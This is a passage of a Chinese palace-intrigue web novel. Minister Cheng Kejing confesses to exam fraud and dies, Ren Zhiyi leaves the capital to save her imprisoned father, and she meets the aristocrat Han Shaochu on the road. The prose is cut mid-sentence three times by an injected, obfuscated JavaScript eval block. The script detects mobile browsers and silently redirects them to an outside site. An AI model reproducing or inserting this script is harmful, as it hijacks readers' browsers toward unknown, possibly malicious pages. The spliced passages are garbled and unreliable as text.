一个草菅人命的人，又怎会对几条小鱼心生悲悯？ 程可靖的住处在院子的最深处。 隔间昏暗，格窗关得密密实实，透不进亮光，空气中弥漫着浓重的药味儿。 程夫人坐在床侧，面无表情道：“他们来了！” 暗色菱纹床幔掀开，露出一张灰败的脸，两颊凹成了碗状，薄薄的皮肉包不住颧骨，只剩下一双眼睛，流露出些许麻木。 谁能想到，当年大胤有名的美男子竟成了这等形销骨立的模样。 他被程夫人扶坐起来，整个人气若游丝，“终于还是来了。” 卫枢道：“程大人。” 程可靖喘着气道，“臣知殿下想问什么，自咸宁元年起，臣在礼部尚书位上，操纵科举，以换得江南世家支持，种种弊行，皆是臣一人所为。” “当年国库空虚，百废待兴，江南财税，世家占去八成。大人以科举换财税，如今可后悔？”卫枢微微一顿，缓缓道。 “不悔。”程可靖淡笑道。 卫枢长眉微动，“若大人不曾后悔，正值而立壮年，何以忧思郁郁，痼疾缠身？” “咳咳咳……”，他咳了半晌，“大胤需要安定，朝堂需要稳固，总要有人去走这条路。” 卫枢蹙眉，“包括牺牲人命？” 程可靖凄然一笑：“年少何惧千山远，未解长风不许舟。” 他抬起布满褶皱的眼皮，“太子殿下执意走一条截然不同的路？” “有生之年，当戮力而为。” 程可靖仰起下巴，唇边露出一抹淡淡的笑容，“好。甚好。” “程大人！”任知宜上前，“臣女想知道，葛政是死是活？” “他人品不错，我本想留他一命，可惜……”，程可靖幽幽叹道：“咳咳咳……，他的尸骨……埋在后院的桃花树下。” 说完，他力不可支，向后倒仰下来。 程夫人福了一身，“麻烦诸位稍等，我想为夫君整理一下仪装。” 三人出去。 过了半晌，里面传来咚地一声。 程夫人推门而出，声音温和而平静，“我夫君自缢身死，这是他的告罪书，诸位带走吧。” 36. 忧心 风清日明，暖阳和煦。 趁着暑气未至，百姓纷纷出门踏青集会，京城又恢复了往日的喧闹。 临栏听曲，清风袅袅。 酒楼中的客人不算多，三个文士打扮的人围坐一桌，品茶听曲，闲聊畅谈。 不远处，传来贡院急促的敲锣声。 “听！”一个年轻男子道：“这该是今科会试最后一场吧！” “嗯嗯！这一次会试重考，朝廷严防严查，贡院连只苍蝇都飞不进去，主考官足足设了八位。” “啧啧……”，另一褐衣男子叹道：“连出两件大案，大人们也都怕了啊。” 年轻男子亦叹，“谁能想到当年郎艳独绝，才名一世的程可靖竟然会是这种下场。” 褐衣男子道：“听说大理寺去程府搜证，只搜到寥寥书画，并无贵重财物；程府下人也说程可靖平日里生活清简；既如此，你们说他为何想不开，非要行这舞弊杀人之举呢。” “小声点儿。”灰衣男子将声音压得极低，“这背后肯定另有缘由，不过如今朝廷上下对这个案子是三缄其口，你当差时，可千万不要冒冒失失地去打听。” 褐衣男子是一名礼部书吏，诚惶诚恐道：“多谢兄长提醒，接连两任尚书出事，搞得礼部被千夫所指，小弟也是心中不忿。” 灰衣男子瞥见酒楼中不过三两桌，离得又远，低声道，“你们可知道？前日，明运街上开了一家宝篆香铺。” “这有何稀奇？” “香铺开张的第一日，全京城五品以上的官家夫人，勋贵女眷全去了。” 年轻人亦惊讶，“这东家什么来头？” 灰衣男子给他个眼色，他方才后知后觉，“难道是……？” 他仅是动了动嘴，没出声音。 褐衣男子点头。 年轻人恍然大悟，“原来你们在说她，她如今在朝上可称得上炙手可热，陛下擢升她为正六品待诏女官，既可奉诏入殿，又可六部行走，非同一般啊。” “眼下，朝中上下对她皆有所惧，所以一听说那香铺背后之人是她，都忙不迭让夫人去光顾。” 褐衣男子心有愤懑，“她明里破案，暗地敛财，足见此女市侩凉薄，重利轻义。” “嘘！” “兄长怕什么！她盯上的都是三品重臣，咱们不过寻常小吏，如何入得了她的眼。” 酒酣耳热，三人相视哄笑。 —— 酒楼的西墙角处，唐橘大喇喇地坐着，听见三人的话，拣了几粒果子，扔进嘴里大口地嚼着。 “要不要我去教训他们一顿，给你出气？” “不必。”任知宜浅啜清茶，一双明眸紧紧盯着酒楼的门口。 等的人一直未现身，她无心顾及其他。 直至昨日，她才听说刑部员外郎徐志已从灵州回京数日。 科举案终，程可靖身死伏法，严风被革职查办，北衙卫接管五城巡务，太子重回朝堂议事，在民间声望日隆。 这几日，卫枢虽然政事繁忙，却也与她见过两面，但是他却对徐志回京一事只字未提。 有些事越是不清楚，她心中越是忐忑，一种不祥的预感萦绕心间，恨不得立刻找徐志问个清楚。 她如今虽可于六部行走，事关父亲的案子，却也不方便直接去刑部衙署追问徐志，只好在他常来的这间酒楼守株待兔。 过了一盏茶的功夫，徐志进门。 像往常一样，他照旧点了两碟小菜和一壶清茶。 “徐大人。”任知宜近前。 “你！” 徐志乍见她，骤然一懵，目瞪口呆地看着她。 “打搅了！”任知宜敛起裙裾，顺势坐于徐志旁边，“本官开门见山，我爹的案子是不是不顺利？” 徐志怔了半晌，放下手中竹筷，“任大人莫急，此案须得从长计议。” 任知宜的心猛地一坠。 “请徐大人实话告知。” 任知宜声音淡静，却透着几分不容置疑的威压之势。 徐志踌躇片刻，叹了口气道：“山南道节度使郭嘉认定任长史是这案子的主谋，而那个指认任长史的梁司户在我到达灵州审讯过一次之后便自尽了。” 灵州是西南重镇，辖下粮仓有正仓、义仓和军仓。除了军仓归节度使下军将管辖，其余都由州官管理，用于灾年赈济或者军仓补给。 去岁，郓国连番侵扰，节度使郭嘉接连应战，导致军士廪禄不足。因此，他曾去信灵州府衙，请求灵州支粮一千石，以补军仓空虚。 灵州刺史暴毙，父亲总领全州政务。郭嘉几次三番让她爹以战时调仓为名支粮，父亲却坚持先向户部陈请，待朝廷下发公文后再开仓支粮。 一来二去，便让郭嘉对父亲极为不满。 “我爹的咳疾可有好转？” 徐志道：“经过前一段时间的调理，已经无碍。” 任知宜又问道，“大人可有问过我爹，梁司户手上为什么会有加盖了他方印的支粮单？” “据任长史说，朝廷的公文到达灵州，梁司户出具支粮单，他就在那张一千石的支粮单上加盖了公印，并非三千两。 后来，灵州传出“州仓已空”的传言，任长史前去查探，没想到仓内果真无米，节度使郭嘉也并未收到粮食。” 任知宜冷静道：“一千石变三千石，徐大人可有在那张单子上看出什么伪造的痕迹？” 之前查高期的案子，若不是程可靖在告罪书中写明，是他模仿高期的字迹，写下那封自绝书，她都不知道世间有人能将另一个人的字迹模仿得天衣无缝。 既然自绝书可以作假，支粮单为何不行。 “看不出来。” 任知宜略微沉吟，“那份丢失的公文呢？” 一声长叹自徐志口中逸出，“遍寻不着，府衙内的文书、主簿以及驿差都不记得那份公文的存在。” 任知宜掐紧手指，尽力让自己沉静下来，“那公文是户部签发，从京城一路送至灵州，各州驿站都会登记在册。” 徐志叹道：“沿途四家驿站，下官都已查过，皆未有记录。” 任知宜面色微变，幕后之人手眼通天，究竟是谁？ 父亲性格文弱，不善言谈，从不与人结怨，一直都是安静本分地做他长史的份内之事，到底是什么人非要害他？ 任知宜默了半晌，又问道：“我爹如今被关在哪儿？” 徐志眼神闪烁，半天吐露出两个字——“刑狱”。 任知宜咬着下唇，掌心紧攥，悔疚溢满胸臆，双眼酸痛，几乎要落下泪来。 这两个月，她在京城为东宫筹谋，却没料到父亲会被重投狱中，受尽苦楚，实在不孝。 卫枢为何要瞒她？ 怕她耽搁东宫在京城的谋局？还是担心她会因案子不顺而心生芥蒂，另投他主？ 难道，这就是他所说的信任？ 她做东宫幕僚的条件，便是为父亲翻案，若太子不能践诺，她便自己来…… 徐志见她神情愈冷，慌乱道：“任大人勿急，眼下灵州已是初夏时节，令尊的咳疾不会再犯。况且，本官刚到灵州时，正值太子被禁足东宫，如今情势大不相同，定有转圜的余地。” “多谢徐大人这些时日为家父奔忙。”任知宜猛地站起身来，面寒如水，声音里像淬了坚冰，“终究是求人不如求己。” ———— 明运街上，人流如织，熙熙攘攘。 青瓦白墙，楼檐微挑，一层为堂，三层为阁，铺门前挂着一面烫金靛蓝织锦帷幔，上书“宝篆香铺”四个大字。 远远望去，逶迤华车，珠玉广袖，若杨柳款摆走进香铺的女子络绎不绝。 好不热闹。 宝珠见到任知宜的身影，隔着老远欢喜地跑过来，拉着她的手笑道：“小姐，今日的香又都卖光了！按小姐说的，我将预订香料的人登记在册，每人先收两成定金。” “辛苦你了，宝珠。”任知宜心事重重，勉力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127515|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挤出一个笑容。 未瞧见云娘的身影，她问道：“云娘人呢？” “云娘姐姐伤势未愈，不能久站，留在后院清点原料呢。” “嗯。”任知宜心绪纷乱，突然冒出一句，“我想回灵州。” 宝珠吓了一跳，“小姐，出什么事儿了？咱们的铺子才刚开张。” “和铺子无关……” 任知宜苦笑着摇摇头，话未说完，便听人群中传来一声急促的脚步声。 伴着怒喝，一整盆热水朝着任知宜泼面而来。 说时迟，那时快。 宝珠眼神一厉，旋身抽出身旁案帛，飞舞挡下。 “哗啦”一声，水泼落地，刺啦啦的冒着热气，连任知宜的衣角都未碰到。 宝珠大怒，纵身一跃，将那扔泼水之人一把揪了出来，制于膝下。 是个贼眉鼠眼的小地痞，眼睛滴溜溜直朝着后面望去。 任知宜望向人群中一个转身欲走的背影，高声喊道：“高大娘子！” 正急着逃离的高氏身子一僵，缓缓地转过身来。 二十三四的年纪，面容姣好，一双眼睛水汪汪的。 “这人是你派来的？” 高氏咬着下唇，笑容勉强，“姑娘说什么？民妇听不懂。” 任知宜冷笑，“大胤律疏，行刺朝官者，极刑。” 小地痞吓得半死，“什，什么行刺？” 接着，他抖着手指，指着高氏喊道：“她只是给了我十两银子，让我朝一个女人泼盆滚水而已。” 高氏面色一白，迎着众人的目光，泫然而泣，“姑娘派人搬走银子的那日，家中老母正在病中，民妇四处求助无门，一时想不开，怨恨上姑娘，如今已知道错了。 她跪地叩首，额头磕出红痕，满眼泪水涟涟。 “民妇知错！民妇知错……求姑娘念在民妇刚经丧夫之痛的份上，饶恕民妇。” 一番求饶，令众人得知，原来她竟是高期的遗孀。 听闻高期之案终了，任知宜立刻将原本赌输给高家的一万两银子取走。 高家剩下一群孤儿寡母，实在可怜，如此施而复夺，未免不通情理。 面对周遭窸窸窣窣的议论声，任知宜眸光泠然，面不改色。 “我已证明你夫君并非自尽，便是胜了赌约，为何不能要回银子？” 此言一出，众皆哗然。 于法理无不妥，于道义却有失。 一位藕裙夫人以绢掩口，近前笑道：“我见姑娘也是在气头上，说的是气话。区区银钱，乃是小事。不若这样吧……我看这高氏也是知错了，回头去我府上拿些银子，先给老太太治病，莫要耽搁了。” “夫人说笑了。”任知宜轻轻一笑，“行刺朝官，须过刑讯。” 藕裙夫人一怔。 清淡如水的笑容里，透着几分不容置疑的威势。 眼见任知宜不领她的情，藕裙夫人面子上颇有些挂不住，悻悻道：“姑娘是内廷女官，更要有容人之量啊。” 任知宜轻声道：“高氏有两罪。” “其罪一，我身为朝官，为你夫君找出真凶，你却恩将仇报，当街谋害，众人有目共睹。” “其罪二，多年来高期占人田产，欺辱乡民，乡邻百姓忌惮他举子的身份，敢怒不敢言。高氏是高期之帮凶，以患眼疾来骗取县学的恤银。敢问高大娘子，你一双明眸，何来眼疾？” 话一说完，任知宜漫不经心地吩咐，“将他二人绑了，送去北衙卫。” 高氏大惊失色，脸色惨白如纸，“任姑娘……不，是任大人！任大人！大人饶命，民妇再也不敢了，民妇是猪油蒙了心……” 任知宜心中烦乱，不欲与她纠缠，向宝珠使了个眼色。 “喀嚓”一声。 宝珠微一用力，折断了那小地痞的手。 接着像拎小鸡崽似的，连同吓得浑身瘫软的高氏，朝北衙卫走去。 众人面面相觑，噤若寒蝉。 37. 信任 卧房内，灯烛影下，白皙的手指打在算盘上。 宝珠端着汤盅进门，瞥见账册上的数字，喜上眉梢，“四百多两！这快赶上咱们在灵州一年的收益了。” 任知宜默然。 “若不是今日那高氏横生枝节，还能赚得更多。” “嗯。”任知宜淡淡应道。 宝珠见她烦忧，以为是在意高氏所说的话，“咱们从高家要回的银子，大多转送给了云娘和崔家，小姐今日为何不在众人面前澄清？” 汤盅浮起袅袅热气，在任知宜眼前盘旋摇曳，飘荡不定。 今日骤然听到父亲的消息，她走在路上，脚步都是虚浮的，心门处像是被压了一块重铅，呼吸不动。 卫枢曾答应过她，会派亲信前往灵州调查她爹的案子，如今案子滞碍，却不将实情告知于她。 怀疑的念头一旦滋生，犹如荒草蔓长，肆虐无阻。 在她心绪最不宁时，高氏撞到眼前。 呵！ 任知宜冷笑。 高期一家，皆贪心自私之辈，落得今日下场，是罪有应得，当有此报。 今日之举，除了一点泄愤之意，还存了几分试探之心。 刚刚传来消息，北衙对高氏连施重刑，连那小地痞亦未放过，显然背后是东宫授意。 落在外人眼中，如今东宫盛名在望，太子不惜名声，也要为她出这口气，可见是极为信重；可是……偏偏在她最关心的父亲案子上，太子却有意隐瞒。 她不愿再暗自揣度下去。 这些时日与卫枢相处，于公，他为人清正，心怀社稷，是位不可多得的储君；于私，他待她亦主亦友，信重有加，君臣相得益彰。 眼下这个时辰，宫门尚未下钥，若有误会，不如当面问清楚。 ———— 东宫一片静寂。 窗外，偶有柳叶沙沙，蝉鸣阵阵，声音分外清晰。 书房内，二人相视。 察觉卫枢的眼神清明，毫无闪躲之意，任知宜心下五味杂陈。 “殿下早知父亲案子有滞碍？” 窗外，圆月高照。 清辉洒落，空静幽清。 卫枢眉峰蹙聚，鸦青色的长睫微垂。 任知宜面若冰霜，握紧的手掌泄露出她的情绪，“殿下也知道，臣千里入京，为得就是替父翻案。如今案子有滞，殿下为何不告知于臣？” “知宜，孤答应过你的事，自然会做到，你且静待几日。” “臣心急如焚，一刻都等不得。” 一腔郁气直冲胸臆，让压抑了整日的任知宜脱口而出。 从卫枢举荐袁宏任礼部尚书开始，任知宜便心存疑虑，到后来的宫宴和华济寺，她隐隐觉察出，卫枢隐瞒了一些事。 如今，她甚至觉得，这些事或许和父亲的案子也有所关联。 其他种种，她都可以假作不知，可是事关父亲的安危，她一刻也不想再等。 “臣请命，暂回灵州。”任知宜微微颔首，掩下眸中怒色。 “不行！” 卫枢冷了声音，“灵州路途遥远，路上并不太平，山南道节度使郭嘉性情冷戾，绝非善类，孤不放心。” “事在，人为。” 荧荧灯火之下，她眉色疏冷，屏风的暗影打在白皙的面容上，透出几分决绝的味道，“即使不成功，也好过臣在京城日夜焦心。臣意已决，还请殿下成全。” 卫枢沉默良久，拢了拢袖摆，望着她的眼神深幽莫测，声音却渐渐温软下来，“知宜，之前瞒你，是孤思虑不周。” 他的声线一贯清冷，不疾不徐，唯独尾音微润，带着几分缱绻之意。 任知宜不为所动，“殿下心怀江山，所谋求的是国之大事；臣所求很小，唯有家人平安喜乐。” 卫枢长眉一紧，思忖片刻。 他徐徐道：“孤答应你，七日之后，孤必保任大人无罪出狱。” 七日。 这么短的时间！ 任知宜微讶，“殿下凭何笃定？” 对方默然，沉静的眼眸似藏隐衷。 一丝失望掠过她的心头，太子对她，终究还是不够信任。 任知宜抿唇，淡淡道：“臣明白了，希望殿下不要食言。” 说完，屈身告退。 东宫空静，二人争执的声音一字一句地透传出来。 侯在外面的宫人皆垂首闭气，胆颤心惊，余光随着倩影行出殿外，方才长舒一口气。 书房内，薄薄的窗纸透出颤动的灯火，彻夜长明。 ———— 晌午刚过，任知宜吩咐宝珠去钱庄，将手头上的银锭换成银票，再雇一辆马车。 宝珠不解，“太子不是不让小姐回灵州，让小姐静待七日嘛！” “太子已离京，趁林七不在，我们即刻上路。” 任知宜将香铺的账册规整，托付给云娘，又找了个借口将林七打发出去。 “求人不如求己！” 今日天刚破晓，太子突然离京，身边只带几个暗卫，东宫上下无人知他去了哪。 宝珠猜测，“太子会不会是去灵州救老爷了？” 任知宜目色微凉，“我问过城门守卫，他们一行人，沿东门而出，一路纵马向东奔去。” 灵州在兆京西南，一路向东，显然不是去灵州。 或许是有什么要紧的政事。 这一次，她不能将希望全放在卫枢身上。 —— 马车出城，朝林县码头而去，走水路，是回灵州的最捷之径。 草木葳蕤，芳草遍野。 任知宜缓缓放下车帘，初来京城之时还是料峭春寒，眼下已见夏意。 短短数月，好似经年已过。 车外传来一阵马蹄踏踏之声。 “吁……”，来人勒马，停在她的马车前。 一身烈烈红衣，黑袴高靴，唐橘翻身下马，一把撩起车帘子，“走得这么急！连个道别也不说！” 任知宜心中一慰。 “又不是不回来了！我将铺子暂时托付给义兄和云娘，你若有时间，帮我照拂一二。” 唐橘从怀中掏出一本黄皮册，塞到她手中。 “昨日听你说伯父的案子，我连夜去找了一个人，此人曾经以帮别人伪造文书为生，后来洗心革面了。这里面记着各种伪造之法，你回到灵州，对照着这些方法，看能否从那支粮单上找出端倪。” 任知宜手捧册子，双眼一酸，猛地抱住唐橘，低声哽咽，道了一声“谢谢”。 “……” 唐橘一怔，略显笨拙地回抱住她。 “区区小事，你这样，反倒弄得我不知如何是好了。少学那些娇柔贵女，闻花伤情，望月落泪。我在京城等你的好消息。” 任知宜破泣为笑，离别的伤感被打散不少。 唐橘突然道：“不如，我与你一同回灵州吧？” 任知宜心知唐橘是不放心她，故意笑道：“林大人罚你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127516|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抄案三月，如今堪堪过了几日，你走得了吗？” 唐橘撇撇嘴。 林老头知晓她夜探程府，又在滚钉板上动了手脚，大发雷霆，说要好好地磨一磨她的性子。 “好吧！”唐橘上马，爽朗笑道：“若碰上难处，寻驿站带信于我，我定舍了林老头。” 任知宜温婉一笑。 “早日回来！” —— 行了半日，主仆俩到达青县，再越过扈县的重和镇，便可于林县码头乘船过江。 二人找了家客栈歇脚。 客栈门前停着几辆玉辂华车，重帷厚柱，金涂银装，华美锦缎，另有青松玉饰垂缀其上。 即使在京城也甚少见到的华贵马车，在这小小的青县客栈，居然有三辆一模一样的，足见主人家非富即贵。 客栈内有雅座，与外间以屏风相隔。 四个青裙侍女分立东西南北侧，玉手轻摇团扇；另有白衣仆从跪坐一旁，摆好上等的杯盏，金樽玉质，琉璃夜光。 一道菜肴端上来，先有青衣仆从以针试毒，再经白衣仆从尝试口味，最后才呈于桌案。 任知宜头戴幂篱，冷眼旁观，短短一盏茶的功夫，已呈上二十八道菜。 客栈小二何时见过这等阵仗，不敢上前，只是隔着屏风，不知所措地问道：“客，客官可还有别的吩咐吗？” 白衣仆从扔给他一块碎银，“让那些闲杂人离得远些，别打扰我家主子清净。” 小二忙点头退下。 任知宜收回视线，要了一间上房，并三碟小菜送入房中。 沿阶而上时，她转身回望，见屏风之后影影幢幢，是一个年轻男子的背影。 月照西天，万籁俱静。 主仆二人正准备入寝，外面传来一阵敲门声。 门开，小二双手捧托盘，上面放着两排银锭，整整齐齐，成色十足。 任知宜不明所以。 小二陪着笑脸，“客官，天字房的客人想听小曲儿，唱曲儿的姑娘是他们府上养的伶人，据说技艺堪比江南弄情馆的姑娘。客官也可以下去一起听曲，只要离着雅座远些就好。” 呵！赶了一日的路，身乏体倦，却碰上这么一个能作的主儿。 任知宜蹙眉，声音冷了几分，“若是不想呢？” “那位客人说了，若是不想听曲儿，便每人收一锞银锭，权当他对各位的补偿。” 玉指捻起银锭，任知宜唇角轻勾，“好大的排场！” 宝珠探头出来，望见楼下搭起一座小高台，几个抚琴的娉婷女子端坐于上，她啧啧叹道：“我看这日子，过得比太子都好。” “姑娘说笑了。”小二呵呵笑道：“小的还得给其他客人送银子去。” “春花秋月，良辰美景……” 一夜的轻音婉转，软语呢哝，直唱到子时方歇。 天色初蒙，二人继续赶路。 行了三四十里，宝珠喊道：“小姐！这马儿不大对劲。” 早上吃草料时马儿就恹恹的，当时宝珠没放在心上，如今眼皮半耷，呼噜呼噜地喘着粗气，全身大汗淋漓，竟是一步也迈不动了。 车毂滚滚，玉石击磬之声渐近。 数十仆从簇拥着三辆玉辂华车，缓缓地停在她们面前。 细格纹窗被从内里推开，露出一双潋滟的桃花眼。 玉面朱唇，男生女相，声音透着几分肆意轻快。 “这马可能是过了暑气，在下可以捎姑娘一程。” 38. 韩氏 铜壁玉柱，香几软垫，细纹格窗，青竹卷帘。 马车宽大，可容七八人不止，内置短榻，天丝软被铺陈于上，行路时亦能卧榻休息。 车内沁凉，与外面的闷热截然不同。藤纹白瓷碟下落着冰鉴，西域紫葡萄冒着丝丝凉气，晶莹剔透。 摘掉幂篱，任知宜眼波流转，拱手道：“多谢公子施以援手。” “无妨。”男子双瞳微动，神情欢愉，“反正也是同路。” 任知宜手指轻蜷，微笑道：“真巧！我主仆二人要去重和镇，难道公子也是？” “自然。”男子靠坐着车壁，神情坦然，“去睢州，这是最近的路。” 睢州是山南道首府，与灵州相隔不过百里。 任知宜上下打量着男子，一袭大红色撒花圆领襟袍，头戴玉珠乌金冠，腰间配九环白玉蹀躞，周身穿戴贵不可言。 不同于卫枢的气韵清冷华然，也不似景随那般温文和煦。此人肆意张扬，像一只美丽骄傲的孔雀。 想了一圈京中权贵，任知宜猜不出他的身份，浅笑道：“还不知公子贵姓。” “韩少初！” 他下巴微抬，眉尾上挑，“济州韩氏。” 任知宜怔然。 江南世族中，以三家为首，分别是解州宫氏，柳州郑氏和济州韩氏。自前朝起绵延两百年，虽然因胤国建立，中间衰败了几代，却仍然举足轻重。 其中，解州宫氏以文成名，江南有七成书院属于宫氏的产业。 柳州郑氏和济州韩氏不相伯仲，郑氏把持着江南盐业，凭借盐业经营垄断了盐收；而韩家则是靠着祖上聚敛和战乱时收地，占据的田产不可估量，两家几乎都可以称得上富可敌国。 难怪豪奢至此！ 任知宜眉峰一动，笑容愈发温婉娴静，“原来是韩公子，久仰。” “哼！”韩少初向后慵懒一靠，双臂环抱在脑后，唇角噙出玩味的笑容，“姑娘可真会掩饰。本公子明示暗示了半天，你还是装出一副一无所知的样子。” 这人是不是有病？ 敢情他觉得谁见到他，都应该立刻猜出他是济州韩家的人？ 任知宜眼皮微抽，如此自恋之人，她倒是生平第一次见。 韩少初捻起一粒葡萄，姿态随性，“若是任姑娘知道我此行去睢州的目的，兴许就改变行程，不回灵州了。” 任知宜双瞳震动。 他知道她的身份！ 身子僵了一瞬，她想过夺门跳下马车，可是思绪连着翻滚了几息，终究还是按捺住了。 济州韩氏。 因着科举一案，解州声名尽毁，若要杀她，先来的也该是解州宫氏。 “此话何意？”任知宜平复呼吸。 韩少初上下打量了她几眼，挑眉道：“族中上下为了你，争辩过两次。不过，我今日这么瞧着，觉得你与族中人所说的不太一样。” 任知宜蹙眉不言。 “呵……”，韩少初自顾自道：“他们说你心思缜密，胆大妄为，还视财如命。本公子左看右看，不怎么像啊！ 这孔雀少爷的废话着实多了些。 卷帘外，官道石碑上写着“扈县”二字，任知宜暗暗估计，抵达重和镇还需要两个时辰。 她单刀直入，“我的马是不是被韩公子下了药？” “嗯。”韩少初一脸的理所当然，“昨日半夜才收到飞鸽传书，本公子为了拦下你，昨夜都没有睡好。” 想起昨夜的唱曲儿，任知宜心内“呵呵”了两声，“韩公子找小女子何事？” “跟你做桩生意。”韩少初托着下巴，“我知道你回灵州是为了救你爹，我保你爹无虞，你帮我拿下朝廷的盐业经营。” 任知宜惊地檀口微张。 默了半晌，方理出其中的关节。 韩家想抢郑家的盐收，便是要动郑家的命脉。世人皆说，江南世家同气连枝，却原来并非如此。 可是，并未听说韩家与郑家交恶。 她眸色轻动，“这是韩家的意思？” “是本公子的意思。”韩少初冷哼道：“这些年郑家日益做大，有超过韩家的势头，可是族中长辈却畏手畏脚，本公子看不惯。” 不过是看不惯，便要与郑氏为敌？且不说世家之间都有姻亲关系，光是生意上的往来，也是盘综错节。 任知宜心中不得不怀疑，这不是真正的原因。 姑且不论韩少初能不能做韩家的主，关键是…… “你如何保我爹无虞？” “呵！看来你并不知晓。”韩少初懒懒道：“山南道节度使郭嘉是我的姑丈。你爹的案子说小不小，说大也不算大。不过是因为延误了军支，我姑丈揪着不放罢了。 我之前帮姑丈补足了军中廪祿，这个面子他会给我的。” 任知宜抿唇不语。 按照大胤律疏，她爹的案子必须要过审讯的明路，可是若郭嘉愿意放她爹一马，案子办起来就会容易得多。 除此之外，还有一点怀疑，她从未与旁人提及。她一直觉得这案子发生的时机太巧，郭嘉反应的动作也太快。 “盐业经营是朝堂大事，我一介内廷女官，恐怕帮不上忙。” 韩少初笑道：“政事堂中人，景相自不用说，户部尚书柳德一直是支持郑家的，大理寺卿林居正不偏不倚，我韩家若想成事，便要争取太子的支持。 听闻任姑娘极得太子宠信，若此番助我韩家成事，不只是令尊无恙……” 韩少初话音一顿，笑得有几分意味深长，“还会送给姑娘，五厘的盐利。” 嗬！ 任知宜倒抽一口气，双眸闪烁，似有星火燎原。 “政事堂五人，你还少说了一位。” 还有一位是翰林院大学士范昉，素有清名，乃是解州出身。 韩少初抚摸着光洁的下巴，咂着嘴道：“呵呵，范大人方面，姑娘就不必操心了，韩某自然有别的办法。” “姑娘可愿意？” 任知宜沉默良久，轻轻地摇了摇头。 “嫌少？” 话音中透出浓浓的惊愕和叹息，似乎在感叹，五厘盐利还嫌不够？ 任知宜不以为忤。 “你觉得于太子而言，韩家和郑家有何不同？” 韩少初敛了笑容，明白任知宜拒绝的原因。 近些年来，世家与朝官，秉持着心照不宣的勾连，不管是韩家经营还是郑家经营，这种勾连的平衡是不会被打破的，所以景相并不在乎究竟哪一家胜出。 但是韩家若想要太子出面，则必须投效太子，改变原有的世家与朝官的联结，景相不会允许。 若韩家对景相妥协，继续维持既有的局面，太子又怎会愿意帮韩家？ “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127517|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唉！”一声长叹自韩少初口中逸出。 他眨动着潋滟的桃花眼，“那就看姑娘能不能让太子破例了。” 任知宜心中一颤。 紧接着，她想起那日的争执，淡淡笑道：“公子想多了，知宜不过小小幕僚，没有这么大能耐。” 一阵清风拂来，纾解了空气中的些许闷意。 重和镇到了。 “韩公子，你我就在此分别吧。” 任知宜拱手，欲下马车。 却听身后韩少初缓缓道：“你此时去灵州无用，因为你爹如今在睢州山南道节度使府中。” ———— “咕咕，咕咕……” 灰鸽扑棱着翅膀，落在一间不起眼的农宅院中。 暗卫解下信鸽上的竹管，将里面的纸条呈给卫枢。 纸上只一句——“任知宜离京”。 卫枢将纸条握在手心里，指节泛白。 她终究还是信不过他。 即使他承诺七日之后保她爹无罪出狱，她还是要铤而走险，身边大概也只带了那个会武功的丫鬟。 初见时，他觉得她狡黠多智，市侩凉薄，如今看来，他并无识人之明。 暗卫瞥了眼主子铁青的脸，艰难开口，“殿下，刚才安州王府派人传信，说懿靖郡主想约您游湖泛舟。” “推了！”卫枢声音冷如寒冰，“就说孤去云门镇了。” 暗卫心里打了个突。 殿下虽然面色平静，但是心情应是差到极点，否则不会让他直接回这么一句给懿靖郡主。 因为在安州，最不能提的便是云门镇。 那里被安州人称为鬼镇，荒无人烟，阴气重，煞气重，每每有人路过云门镇之后接着染上重病，都说是被厉鬼缠了身。 直白地告诉懿靖郡主去云门镇，就是想打消对方继续纠缠的念头。 暗卫心中思忖，他原本不明白殿下为何日夜兼程赶路到安州，到达这里之后方知殿下是为了灵州长史任平之案。 卫枢突然问道：“今日安州王府有何异动？” 暗卫回过神来，肃声道：“王府幕僚单先生今日离开安州，前往睢州去了。” “去了睢州？”卫枢长眉微动，“不是灵州？” “属下隐在檐顶，听得不够真切，或许是因为山南道节度使郭嘉近日要进京述职，已将任大人从灵州府衙刑狱移至节度使府中关押。” 卫枢又问，“按脚程算，从安州到睢州需要几日？” “回禀殿下，快马三日！” 卫枢长眉微压，清润的双眸幽暗深邃。 大胤为防止节度使叛乱，各道节度使每隔三年须回京述职。 他想起昨日何卢说的话——“本王与灵州长史任平并无冤仇，想报复的人仅仅是山南道节度使郭嘉一人而已；殿下若想还任平清白，不过是本王一句话的事。” 安州王何卢，正是灵州粮仓失窃的幕后之人。 按照何卢原本所设想的，灵州粮仓被盗，郭嘉若回京述职，恐山南道军心不稳；若不回京述职，则遭朝廷猜忌。 不过，何卢未料到，郭嘉靠着与济州韩氏的姻亲关系，解了粮仓燃眉之急。 卫枢轻揉眉心，眸间闪过一丝沉然。 有一件事，任知宜猜得没错。 他的确隐瞒了她一件事，便是与安州王何卢结盟。 